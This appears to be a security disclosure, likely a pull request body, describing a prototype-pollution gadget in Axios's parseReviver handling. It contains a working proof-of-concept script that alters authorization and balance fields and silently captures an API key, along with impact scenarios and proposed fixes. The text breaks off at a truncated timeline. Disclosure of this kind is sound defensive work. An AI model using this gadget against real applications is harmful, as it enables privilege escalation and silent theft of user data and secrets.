Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely via any vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the application process
Confidentiality	High	The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, apiKey: "sk-secret-internal-key" is captured
Integrity	High	Arbitrary, selective modification of any JSON value. No constraints. In the PoC, isAdmin: false → true, role: "viewer" → "admin", balance: 100 → 999999. The response looks completely normal except for the surgically altered values
Availability	None	No crash, no error — the attack is entirely silent

Comparison with All Known Axios PP Gadgets

Factor	GHSA-fvcv-3m26-pcqx (Header Injection)	transformResponse	proxy (MITM)	parseReviver (This)
PP target	Object.prototype['header']	Object.prototype.transformResponse	Object.prototype.proxy	Object.prototype.parseReviver
Fixed by 1.15.0?	Yes	No	No	No
Constraints	N/A (fixed)	Must return true	None	None
Data modification	Header injection only	Response replaced with true	Full MITM	Selective per-key modification
Stealth	Request anomaly visible	Response becomes true (obvious)	Proxy visible in network	Completely invisible
Data access	Headers only	this.auth + raw response	All traffic	Every JSON key-value pair
Validated?	N/A	assertOptions validates	Not validated	Not validated
In defaults?	N/A	Yes → goes through mergeConfig	No → bypasses mergeConfig	No → bypasses mergeConfig

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { /* malicious */ }
         │
         ▼
  mergeConfig(defaults, userConfig)
         │
         │  parseReviver NOT in defaults → NOT iterated by mergeConfig
         │  parseReviver NOT in userConfig → NOT iterated by mergeConfig
         │  Merged config has NO own parseReviver property
         │
         ▼
  transformData.call(config, config.transformResponse, response)
         │
         │  Default transformResponse function runs (NOT overridden)
         │
         ▼
  defaults/index.js:124: JSON.parse(data, this.parseReviver)
         │
         │  this = config (merged config object, plain {})
         │  config.parseReviver → NOT own property → traverses prototype chain
         │  → finds Object.prototype.parseReviver → attacker's function!
         │
         ▼
  JSON.parse calls reviver for EVERY key-value pair
         │
         │  Attacker can: read original value, modify it, return anything
         │  No validation, no constraints, no assertOptions check
         │
         ▼
  Application receives surgically modified JSON response

Why parseReviver Bypasses ALL Existing Protections

1. Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.

2. Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.

3. No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.

4. Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File: lib/defaults/index.js, line 124

transformResponse: [
  function transformResponse(data) {
    // ... transitional checks ...
    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      // ...
      try {
        return JSON.parse(data, this.parseReviver);
        //                      ^^^^^^^^^^^^^^^^^
        //                      this = config
        //                      config.parseReviver → prototype chain → attacker's function
      } catch (e) {
        // ...
      }
    }
    return data;
  },
],

Proof of Concept

import http from 'http';
import axios from './index.js';

// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({
    user: 'john',
    role: 'viewer',
    isAdmin: false,
    canDelete: false,
    balance: 100,
    permissions: ['read'],
    apiKey: 'sk-secret-internal-key',
  }));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;

// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}

// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
  // Silently capture all original values
  if (key && typeof value !== 'object') stolen[key] = value;
  // Surgically modify specific values
  if (key === 'isAdmin') return true;       // false → true
  if (key === 'role') return 'admin';       // viewer → admin
  if (key === 'canDelete') return true;     // false → true
  if (key === 'balance') return 999999;     // 100 → 999999
  return value;                              // everything else unchanged
};

// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}

console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}

delete Object.prototype.parseReviver;
server.close();

Verified PoC Output

[1] Normal request (before pollution):
    response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                     "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
    isAdmin: false
    role: viewer

[2] Prototype Pollution: Object.prototype.parseReviver
    Polluted with selective value modifier

[3] Same request (after pollution):
    response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
                     "balance":999999,"permissions":["read","write","delete","admin"],
                     "apiKey":"sk-secret-internal-key"}
    isAdmin: true (was: false)
    role: admin (was: viewer)
    canDelete: true (was: false)
    balance: 999999 (was: 100)

[4] Exfiltrated data (stolen silently):
    apiKey: sk-secret-internal-key
    All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                   "balance":100,"apiKey":"sk-secret-internal-key"}

[5] Why this bypasses all checks:
    parseReviver in defaults? NO
    parseReviver in assertOptions schema? NO
    parseReviver validated anywhere? NO
    Must return true? NO — can return ANY value
    Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user

2. Financial Manipulation

// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected

3. Security Control Bypass

// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible

• Affects every Axios request that receives a JSON response
• The response structure is intact — only specific values are changed
• No errors, no crashes, no suspicious behavior
• Application logs show normal-looking API responses with tampered values

Recommended Fix

Fix 1: Use hasOwnProperty check before using parseReviver

// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);

Fix 2: Use null-prototype config object

// In lib/core/mergeConfig.js
const config = Object.create(null);

Fix 3: Validate parseReviver type and source

// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
  Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);

Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report	PP Target	Code Location	Fix Location	Impact
axios_26	transformResponse	mergeConfig.js:49 (defaultToConfig2)	mergeConfig.js	Credential theft, response replaced with true
axios_30	proxy	http.js:670 (direct property access)	http.js	Full MITM, traffic interception
axios_31 (this)	parseReviver	defaults/index.js:124 (this.parseReviver)	defaults/index.js	Selective JSON value tampering + data exfiltration

Why These Are Distinct Vulnerabilities

1. Different polluted properties: Each targets a different Object.prototype key.
2. Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call.
3. Different fix locations: Fixing mergeConfig.js (axios_26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios_30) does NOT fix this either. Each requires a separate patch.
4. Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.

Comprehensive Fix

While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.

Resources

• CWE-1321: Prototype Pollution
• CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
• GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
• MDN: JSON.parse reviver
• Axios GitHub Repository

Timeline

Date	Event
2026-04-16

✂ Note

PR body was truncated to here.